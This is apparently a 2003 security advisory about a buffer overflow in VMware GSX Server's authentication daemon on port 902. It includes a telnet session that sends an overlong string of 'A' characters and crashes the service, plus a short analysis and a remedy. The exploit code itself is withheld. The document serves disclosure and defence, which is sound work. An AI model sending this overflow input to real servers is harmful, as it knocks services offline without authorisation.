Author: Darryl Swofford

Email: dswofford@kpmg.com



Date: 2003/10/31



System:

VMware GSX Server 2.0.1 build-2129 for Windows (other versions not tested). Tested on Windows NT/2000/2003/XP systems.



Description:

After reviewing BugTaq #5294 (VMWare GSX Server Authentication Server Buffer Overflow Vulnerability) I was able to modify the sample code to exploit the updated vmware-authd service.



I will not release the source code as I feel this is not prudent until the vendor acknowledges the issue. Until then you can view the overflow by using telnet with the following syntax and simply alter the code as I did. 



>telnet VMserver.somecompany.com 902

> 220 VMware Authentication Daemon Version 1.00

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA599 vmware-authd

 PANIC: Buffer overflow in VMAuthdSocketRead()

 >

Connection to host lost.





Analyses:

It seems that the vmware-authd service limits the input strings of the program when passed correct arguments (USER, PASS, GLOBAL); however the initial readline can be overflowed as it does not control the amount of data passed to it. 

 

Remedy:

Stop and disable the VMware authorization service.